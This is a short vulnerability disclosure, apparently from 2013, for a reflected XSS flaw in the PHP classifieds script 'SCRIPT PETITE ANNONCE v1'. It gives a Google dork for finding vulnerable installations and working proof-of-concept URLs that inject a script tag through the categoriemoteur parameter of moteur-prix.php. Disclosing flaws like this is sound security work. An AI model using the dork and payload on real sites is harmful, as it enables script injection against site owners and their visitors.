########################################### # # Script Name : SCRIPT PETITE ANNONCE v1 # # Version : v1 # # Bug Type : XSS vulnerability # # Found by : Metropolis # # Home : http://metropolis.fr.cr # # Discovered : 14/03/2013 # # Download app : http://www.script-php-petite-annonce.com/achat.html # # Google search : inurl:/annonce/moteur-prix.php?categoriemoteur= # ########################################### PoC : http://[target]/[path]/annonce/moteur-prix.php?categoriemoteur=1[Xss] Example : http://[target]/[path]/annonce/moteur-prix.php?categoriemoteur=1"><script>alert(31337);</script> local Example : http://localhost/demo/annonce/moteur-prix.php?categoriemoteur=1"><script>alert(31337);</script>